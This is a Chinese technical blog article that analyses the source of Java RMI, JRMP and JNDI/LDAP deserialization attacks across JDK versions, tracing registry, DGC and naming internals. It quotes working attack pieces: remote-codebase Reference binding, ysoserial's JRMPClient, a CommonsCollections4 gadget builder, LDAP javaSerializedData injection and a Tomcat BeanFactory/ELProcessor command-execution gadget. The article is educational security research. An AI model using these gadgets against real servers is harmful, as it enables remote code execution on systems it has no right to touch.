0x01 前言
前段时间,发了一篇文章《基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI》,以概念和例子,粗略的讲解了什么是RMI,什么是JRMP、以及什么是JNDI,本来,我的初衷是为了照顾初学者,还有没多少Java基础的学习者,让他们能初步了解RMI\JRMP\JNDI,而不被很多讲得不清不楚的文章搞得迷迷糊糊,从而浪费大量的时间。
但是,最近我发现,虽说文章大部分人也看懂了,而有小部分准备深入研究Java安全的人,对于稍微深入一点的部分会有点迷惑,因此,我准备新开这篇文章,以简单的源码浅析,去把它搞清楚。
在阅读这篇文章之前,我希望你能简单的看看这篇文章《基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI》,先搞清楚什么是RMI、JRMP、JNDI,以及什么是RMI Registry等等概念。
在文章内容开始之前,先做一个高度的总结,貌似会比较友好,而后面的文章内容,将会以这个顺序去慢慢讲解:
- RMI攻击主要针对3种类型的目标进行:RMI Client(客户端)、RMI Server(服务端)、RMI Registry(注册中心)。
- RMI反序列化远程Reference对象而触发加载远程字节码实施攻击,LDAP通过实例化本地Reference对象(使用远程LDAP返回的attribute数据封装)或反序列化远程Reference对象而触发加载远程字节码实施攻击。
- 从jdk8u121开始,RMI加入了反序列化白名单机制,JRMP的payload登上舞台,这里的payload指的是ysoserial修改后的JRMPClient。
- 从jdk8u121开始,RMI反序列化远程Reference对象而触发加载的远程代码默认不被信任,RMI反序列化远程Reference对象而触发加载远程代码的攻击方式开始失效。
- 从jdk8u191开始,LDAP使用Reference加载远程代码默认不被信任,LDAP使用Reference加载远程代码攻击方式开始失效,需要通过javaSerializedData返回序列化gadget方式(反序列化或后反序列化触发)实现攻击。
0x02 RMI简述
最早的最早,从分布式概念出现以后,工程师们,制造了一种,基于Java语言的远程方法调用的东西,它叫RMI(Remote Method Invocation),我们使用Java代码,可以利用这种技术,去跨越JVM,调用另一个JVM的类方法。
而在使用RMI之前,我们需要把被调用的类,注册到一个叫做RMI Registry的地方,只有把类注册到这个地方,调用者就能通过RMI Registry找到类所在JVM的ip和port,才能跨越JVM完成远程方法的调用。
调用者,我们称之为客户端,被调用者,我们则称之为服务端。
RMI Registry,我们又叫它为RMI注册中心,它是一个独立的服务,但是,它又可以与服务端存在于同一个JVM内,而RMI Registry服务的创建非常的简单,仅需一行代码即可完成。
创建RMI Registry服务:
1 | LocateRegistry.createRegistry(1099); |
这就是,创建RMI Registry服务的代码,在创建RMI Registry服务之后,我们就能像前面所说一样,服务端通过与RMI Registry建立的TCP连接,注册一个可被远程调用的类进去,然后客户端,从RMI Registry服务获取到服务端注册类的信息,从而与服务端建立TCP连接,完成远程方法调用(RMI)。但这里有一个必须要注意的地方,当你使用独立JVM去部署RMI Registry的时候,必须把被调用类实现的接口,也要放在RMI Registry类加载器能加载的地方。类似下面所说的nterface HelloService
服务端注册服务类到RMI Registry:
1 | public interface HelloService extends Remote { |
客户端获取注册类信息,并调用:
1 | public interface HelloService extends Remote { |
这里说明一下,当执行1
Registry registry = LocateRegistry.createRegistry(1099);
的时候,返回的registry对象类是sun.rmi.registry.RegistryImpl,其内部的ref,也就是sun.rmi.server.UnicastServerRef,持有sun.rmi.registry.RegistryImpl_Skel类型的对象变量ref。
而服务端以及客户端,执行1
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
返回的是sun.rmi.registry.RegistryImpl_Stub。
当服务端对实现了HelloService接口并继承了UnicastRemoteObject类的HelloServiceImpl实例化时,在其父类UnicastRemoteObject中,会对当前对象进行导出,返回一个当前对象的stub,也就是HelloService_stub,在其执行1
registry.bind("hello", helloService);
的时候,会把这个stub对象,发送到RMI Registry存根。
当客户端执行1
HelloService helloService = (HelloService) registry.lookup("hello")
的时候,就会从RMI Registry获取到服务端存进去的stub。
接着客户端就可以通过stub对象,对服务端发起一个远程方法调用1
helloService.sayHello()
,stub对象,存储了如何跟服务端联系的信息,以及封装了RMI的通讯实现细节,对开发者完全透明。
0x03 从JDK不同版本进行源码分析
一、jdk版本 < jdk8u121
RMI攻击主要针对的目标
接下来,开始从小于jdk8u121版本的jdk8u112版本进行分析。
前面也描述的很清楚了,RMI Registry的创建,从1
LocateRegistry.createRegistry(1099);
开始,这个方法执行以后,就会创建一个监听1099端口的ServerSocket,当RMI服务端执行bind的时候,会发送stub的序列化数据过来,最后在RMI Registry的sun.rmi.registry.RegistryImpl_Skel#dispatch方法被处理。
整个执行栈是这样的:
1 | dispatch:-1, RegistryImpl_Skel (sun.rmi.registry) |
而在这个dispatch方法中,我们可以清晰的看到,对序列化数据进行了反序列化操作
1 | public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception { |
可以看到,根据传输过来的数据头,一共分为了0、1、2、3、4五个case处理逻辑,那么,我们看看服务端在执行bind方法注册服务类到RMI Registry的时候,到底传过来的是case多少。
代码位于sun.rmi.registry.RegistryImpl_Stub#bind
1 | public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException { |
可以看到1
RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);
第三个参数,也就是0,并且在其后向RMI Registry写了两个序列化对象数据。
接着回到RMI Registry,我们可以看到,对于case=0的时候,毫无疑问,对RMI服务端bind时发过来的序列化数据进行了反序列化,也就是说,通过RMI服务端执行bind,我们就可以攻击RMI Registry注册中心,导致其反序列化RCE。
接下来,我们进一步分析RMI客户端lookup的时候,具体做了什么操作。
通过debug,可以看到,RMI客户端执行lookup部分代码位于sun.rmi.registry.RegistryImpl_Stub#lookup
1 | public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { |
跟RMI服务端bind一样,此处也执行了1
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
,不过第三个参数为2,也就是说RMI Registry会执行其case=2的操作。
接着,在lookup中1
var3.writeObject(var1);
对参数var1对象进行了序列化发送至RMI Registry,然后对RMI Registry的返回数据进行了反序列化1
var23 = (Remote)var6.readObject();
,也就是说,lookup方法,理论上,我们可以在客户端用它去主动攻击RMI Registry,也能通过RMI Registry去被动攻击客户端,只不过lookup发送的序列化数据似乎只能发送String类型,但是,我们完全可以在debug的情况下,控制发送其它类型的序列化数据,达到攻击RMI Registry的效果。
前面,我们已经搞明白了两个目标的攻击方法:
- RMI服务端使用bind方法可以实现主动攻击RMI Registry
- RMI客户端使用lookup方法理论上可以主动攻击RMI Registry
- RMI Registry在RMI客户端使用lookup方法的时候,可以实现被动攻击RMI客户端
但是,还有一个目标,也就是RMI服务端,我们可以怎么样去攻击呢?
既然,前面已经说过,客户端与服务端之间的交流都被封装在从RMI Registry获取到的stub中,那么,我们就对探究探究。
在对lookup后返回客户端的HelloService进行debug后发现,它是一个Java的动态代理对象,真正的逻辑由RemoteObjectInvocationHandler执行,下面是它的部分执行栈:
1 | invoke:152, UnicastRef (sun.rmi.server) |
在UnicastRef的invoke方法中,我们可以发现,对于远程调用的传参,客户端会把参数进行序列化后传到服务端,代码位于1
sun.rmi.server.UnicastRef#marshalValue
而对于远程调用,客户端会把服务端的返回结果进行反序列化,代码位于1
sun.rmi.server.UnicastRef#unmarshalValue
也就是说,在这个远程调用的过程中,我们可以想办法,把参数的序列化数据替换成恶意序列化数据,我们就能攻击服务端,而服务端,也能替换其返回的序列化数据为恶意序列化数据,进而被动攻击客户端。
那么,到这里,我相信,大家应该都搞清楚了,每个目标的攻击原理了。这里友情提醒,刚刚你们也看到了,在你攻击对方的时候,如果这是一个陷阱,说不定,反过来你就被人getshell了。
但是,有个问题,既然是反序列化攻击,那么,我们必须得找到能使用的gadget吧?如果没有gadget,那就谈不上反序列化RCE了吧?
没错,反序列化RCE下gadget的确很重要,若是没有gadget的依赖,那么基本就是束手无决了,像前面所说的,三个目标的攻击,我们都可以利用gadget,构造恶意的序列化数据达到反序列化攻击RCE。
RMI反序列化远程Reference对象加载远程字节码
但是这里就要讲讲Reference对象,在特殊情况下,可以不需要gadget依赖的存在,亦或者说Reference也是一个gadget。
当我们通过这种方式,使用服务端bind注册一个Reference对象到RMI Registry的时候:
1 | Registry registry = LocateRegistry.getRegistry(1099); |
Reference构造方法参数:
1 | public Reference(String className, String factory, String factoryLocation) { |
当我们在客户端,执行这样的代码,去lookup RMI Registry的时候
1 | new InitialContext().lookup("rmi://127.0.0.1:1099/Calc"); |
其执行栈大致如下:
1 | getObjectInstance:296, NamingManager (javax.naming.spi) |
然后,我们看到NamingManager的getObjectInstance方法代码:
1 | public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { |
接着,执行到javax.naming.spi.NamingManager#getObjectFactoryFromReference方法:
1 | static ObjectFactory getObjectFactoryFromReference( |
最后,会通过这一行代码1
clas = helper.loadClass(factoryName, codebase);
完成对远程class的读取加载,其中factoryName为我们服务端bind服务时传的Reference的Calc值,而codebase则是http://localhost/,就这样,我们就可以让客户端在lookup的时候,无需其他gadget,直接让其加载远程恶意class,达到RCE。
原理上来说,这属于一种后序列化的触发gadget,因为对于RMI来说,Reference对象也是需要反序列化远程RMI注册中心返回的序列化数据而构造出来的,只是说在其反序列化构造期间,它并没有直接触发RCE,而是在其被反序列化后,一系列对Reference对象方法的执行而触发,我们可以称之为“后反序列化”吧!
二、jdk版本 = jdk8u121
反序列化白名单机制
在jdk8u121的时候,加入了反序列化白名单的机制,导致了几乎全部gadget都不能被反序列化了,究竟有哪些类被列入白名单呢?我们一探究竟
那,我们直接bind一个恶意gadget到RMI Registry看看吧
1 |
|
执行后会发现,RMI Registry输出了1
ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 6, depth: 2, bytes: 285, ex: n/a
,明显就是被过滤了,这个gadget。
跟踪ObjectInputStream的反序列化,过滤gadget大概位置在
1 | registryFilter:389, RegistryImpl (sun.rmi.registry) |
跟进RegistryImpl的registryFilter方法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
if (var0.depth() > (long)REGISTRY_MAX_DEPTH) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 == null) {
return Status.UNDECIDED;
} else {
if (var2.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)REGISTRY_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}
do {
var2 = var2.getComponentType();
} while(var2.isArray());
}
if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
}
}
}
}
可以看到,最后的白名单判断:
- String.clas
- Number.class
- Remote.class
- Proxy.class
- UnicastRef.class
- RMIClientSocketFactory.class
- RMIServerSocketFactory.class
- ActivationID.class
- UID.class
看到这个白名单,也就是说,几乎全部gadget基本都凉了。
这时候,我们看向ysoserial,它有一个payload是ysoserial.payloads.JRMPClient,我们看看它payload的内容
1 | ObjID id = new ObjID(new Random().nextInt()); // RMI registry |
payload只有几行代码,但是恰恰都就在白名单内。
那么,这个payload到底做了什么事情呢?这时候,我们可以跟到客户端和服务端执行的1
LocateRegistry.getRegistry("127.0.0.1", 1099);
源码中
1 | public static Registry getRegistry(String host, int port) |
可以很清楚的看到,这个方法执行最后返回的Registry,跟这个payload几行代码是一样的,而1
LocateRegistry.getRegistry("127.0.0.1", 1099);
这行代码的意思,就是跟RMI Registry建立连接,那么这几行代码的意义就无疑了。
而既然这是一个gadget,那么反序列化的时候如何去触发呢?我们看看UnicastRef
1 | public class UnicastRef implements RemoteRef |
可以看到,它间接的实现了Externalizable接口,熟悉的人就会知道,在其反序列化的时候会触发1
readExternal
方法的执行,类似readObject
而在这个payload中,我们可以把host和port指定RMI Registry,然后跟踪其执行栈,可以发现RMI Registry执行栈如下:
1 | dispatch:-1, DGCImpl_Skel (sun.rmi.transport) |
其源码:
1 | public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception { |
在debug中,我们可以发现第三个参数为1,也就是说,其中sun.rmi.transport.DGCImpl_Skel#dispatch的代码,会执行到case=1的部分,可以看到,其中做了writeObject,那么,也就是说这三行payload的反序列化,会与RMI Registry连接上,执行分布式的GC,并且RMI Registry会发送序列化数据给连接发起者,最终造成反序列化,而反序列化部分代码,我们这里简单的跟一下吧。
其执行栈大概如下:
1 | dirty:-1, DGCImpl_Stub (sun.rmi.transport) |
跟进DGCImpl_Stub的dirty方法,可以看到:
1 | public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException { |
其中,的确对返回数据进行了反序列化,也就是说,在jdk8u121之后,可以通过UnicastRef这个在RMI反序列化白名单内的gadget进行攻击。
因此,我们可以通过这个payload绕过RMI反序列化白名单限制,虽然,白名单是绕过了,但是还是存在gadget依赖问题,如果没有相应的gadget依赖,我们也没办法达到RCE。
不过,这里可以总结一下了:ysoserial的JRMPClient payload是为了绕过jdk8u121后出现的白名单限制。
RMI反序列化远程Reference对象加载远程字节码不被信任
说完需要gadget依赖的打法限制问题了,那么我们再来看看前面所讲的JNDI攻击客户端在jdk8u121+中的问题1
new InitialContext().lookup("rmi://127.0.0.1:1099/Calc")
在jdk8u121之后,对于Reference加载远程代码,由于jdk的信任机制,在通过rmi加载远程代码的时候,会判断环境变量1
com.sun.jndi.rmi.object.trustURLCodebase
是否为true,而其在121版本及后,默认为false,也就是说,在jdk8u121之后,我们就没办法通过rmi协议实现JNDI注入打客户端了。
LDAP通过Reference加载远程代码
那么,有没有其他办法绕过远程代码加载的保护机制呢?
有,使用ldap协议的JNDI,具体怎么搭这样的一个服务这里就不讲了,marshalsec也有现成的,我们这里只试试对客户端的攻击,并看看客户端做了什么事情吧。
大概触发RCE的执行栈是这样的:
1 | getObjectFactoryFromReference:146, NamingManager (javax.naming.spi) |
在jdk191以前的版本里面,我并没有找到相关类似远程代码信任机制的东西,也就是说,通过ldap协议的jndi服务方式,在jdk8u121后,能通过ldap协议实现JNDI注入打客户端:1
new InitialContext().lookup("ldap://127.0.0.1:1099/Calc")
具体原理,从“com.sun.jndi.ldap.LdapCtx#c_lookup”可以发现:1
2
3
4static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}
在解析LDAP服务返回的attributes的时候,如果存在javaClassName这个attribute的话,就会进入到“com.sun.jndi.ldap.Obj#decodeObject”的代码逻辑中:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
从这里面不难看出,当attributes中不存在javaSerializedData和javaRemoteLocation属性时,则会进入到“com.sun.jndi.ldap.Obj#decodeReference”的代码逻辑中来,暂且不提其他两个分支的实现,我们跟入到decodeReference中:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78private static Reference decodeReference(Attributes var0, String[] var1) throws NamingException, IOException {
String var4 = null;
Attribute var2;
if ((var2 = var0.get(JAVA_ATTRIBUTES[2])) == null) {
throw new InvalidAttributesException(JAVA_ATTRIBUTES[2] + " attribute is required");
} else {
String var3 = (String)var2.get();
if ((var2 = var0.get(JAVA_ATTRIBUTES[3])) != null) {
var4 = (String)var2.get();
}
Reference var5 = new Reference(var3, var4, var1 != null ? var1[0] : null);
if ((var2 = var0.get(JAVA_ATTRIBUTES[5])) != null) {
BASE64Decoder var13 = null;
ClassLoader var14 = helper.getURLClassLoader(var1);
Vector var15 = new Vector();
var15.setSize(var2.size());
NamingEnumeration var16 = var2.getAll();
while(var16.hasMore()) {
String var6 = (String)var16.next();
if (var6.length() == 0) {
throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - empty attribute value");
}
char var9 = var6.charAt(0);
byte var10 = 1;
int var11;
if ((var11 = var6.indexOf(var9, var10)) < 0) {
throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - separator '" + var9 + "'not found");
}
String var7;
if ((var7 = var6.substring(var10, var11)) == null) {
throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - empty RefAddr position");
}
int var12;
try {
var12 = Integer.parseInt(var7);
} catch (NumberFormatException var18) {
throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - RefAddr position not an integer");
}
int var19 = var11 + 1;
if ((var11 = var6.indexOf(var9, var19)) < 0) {
throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - RefAddr type not found");
}
String var8;
if ((var8 = var6.substring(var19, var11)) == null) {
throw new InvalidAttributeValueException("malformed " + JAVA_ATTRIBUTES[5] + " attribute - empty RefAddr type");
}
var19 = var11 + 1;
if (var19 == var6.length()) {
var15.setElementAt(new StringRefAddr(var8, (String)null), var12);
} else if (var6.charAt(var19) == var9) {
++var19;
if (var13 == null) {
var13 = new BASE64Decoder();
}
RefAddr var17 = (RefAddr)deserializeObject(var13.decodeBuffer(var6.substring(var19)), var14);
var15.setElementAt(var17, var12);
} else {
var15.setElementAt(new StringRefAddr(var8, var6.substring(var19)), var12);
}
}
for(int var20 = 0; var20 < var15.size(); ++var20) {
var5.add((RefAddr)var15.elementAt(var20));
}
}
return var5;
}
}
可以看到,本地实例化了一个Reference对象,然后把attributes中的一些数据设置进去了,无论是本地实例化的,亦或者是像RMI那样远程反序列化的Reference,他们得到的对象都是几乎一样的。
在得到Reference对象后,最后执行的代码和RMI协议实现JNDI注入时的代码是一致的,都是通过Reference对象的数据,加载到远程字节码并且执行。
三、jdk版本 > jdk8u191
LDAP通过Reference加载远程代码不被信任
为什么继续讲jdk8u191呢,因为在jdk8u191之后,加入了对LDAP Reference加载远程代码的信任机制,LDAP加载远程代码攻击的方式开始失效,也就是系统变量1
com.sun.jndi.ldap.object.trustURLCodebase
默认为false(CVE-2018-3149)
LDAP通过javaSerializedData返回序列化gadget方式(反序列化或后反序列化触发)实现攻击
既然不能去Reference加载远程代码执行了,那么,是不是能不用Reference去加载呢,或者还有其他什么样的方式实现RCE呢?
对,还有两种方式。
第一种是直接通过反序列化gadget实现RCE,看执行栈:
1 | deserializeObject:527, Obj (com.sun.jndi.ldap) |
1 | private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException { |
也就是,可以通过修改ldap服务的对象返回内容,达到反序列化攻击
为什么呢,看上一层
1 | static Object decodeObject(Attributes var0) throws NamingException { |
其中1
(var1 = var0.get(JAVA_ATTRIBUTES[1])) != null
判断了JAVA_ATTRIBUTES[1]是否为空,这是哪个参数呢?
1 | static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"}; |
是一个名为javaSerializedData的参数,所以,我们可以通过修改ldap服务直接返回javaSerializedData参数的数据(序列化gadget数据),达到反序列化RCE
首先,我们通过该方法,制造Common-Collectios4 gadget的base64序列化数据1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26private static byte[] makePayload(String[] args) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(args[0]);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
接着,添加ldap服务的attribute javaSerializedData
1 | e.addAttribute("javaSerializedData", classData); |
总结:jdk8u191后,ldap Reference加载远程代码的攻击方式不能使用,需要通过javaSerializedData返回序列化gadget方式实现
而第二种方式则是通过tomcat gadget的BeanFactory方式实施的后反序列化RCE,同样是通过javaSerializedData返回序列化gadget方式实现,但因为tomcat的gadget需要利用反序列化后的一些代码操作,也就是反序列化后对Reference对象一些方法的执行而触发的,所以,总体来说,它们之间更像是一种包含与被包含的关系。
先看一下tomcat的gadget:1
2
3
4
5ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](" + stringBuilder.toString() + ").start()\")"));
可以看到,这个Reference对象的真正实例是ResourceRef,然后我们再看看“javax.naming.spi.DirectoryManager#getObjectInstance”的代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {
ObjectFactory factory;
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
refInfo, name, nameCtx, environment, attrs);
} else {
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
}
// use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
ref, name, nameCtx, environment, attrs);
} else if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
// ignore name & attrs params; not used in URL factory
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer = createObjectFromFactories(refInfo, name, nameCtx,
environment, attrs);
return (answer != null) ? answer : refInfo;
}
当在执行“javax.naming.spi.DirectoryManager#getObjectInstance”方法获取对象实例的时候,它会先加载本地依赖中的FactoryClassName “org.apache.naming.factory.BeanFactory”,然后实例化这个工厂类,接着通过这个工厂类去获得”javax.el.ELProcessor“实例对象,从而根据StringRefAddr的描述进行触发其对象的方法,达到RCE的目的。
总结:jdk8u191后,ldap Reference加载远程代码的攻击方式不能使用,需要通过javaSerializedData返回序列化gadget方式实现,而序列化gadget可以使用tomcat中的gadget “org.apache.naming.factory.BeanFactory”,在其后反序列化中触发RCE。
0x04 缺少的RMI后反序列化
实际上,在jdk8u121的RMI反序列化Reference加载远程代码保护机制出来之后,实际上和LDAP通过后反序列化Reference触发的tomcat gadget一样,RMI也可以通过反序列化Reference触发的tomcat gadget实现RCE,这里不做对其的讲解,一个原因是jdk8u121至jdk8u191之间的版本能通过LDAP Reference加载远程代码造成RCE,另一个原因是在jdk8u191之后的版本亦能通过后反序列化Reference触发的tomcat gadget造成RCE,所以说,根本没有必要在费口水。
0x05 JRMP Gadget还有用吗?
很多人以为天天讲RMI攻击什么的,觉得很鸡肋,其实并不然,其中涉及到的很多知识,在其他地方我们完全能用上,就比如,我们使用RMI和LDAP协议的JNDI去攻击客户端,以及我前段时间讲的Shiro文章《Apache Shiro源码浅析之从远古洞到最新PaddingOracle CBC》,完全可以利用JRMPClient的gadget payload去加快Padding Oracle CBC攻击的速度等等…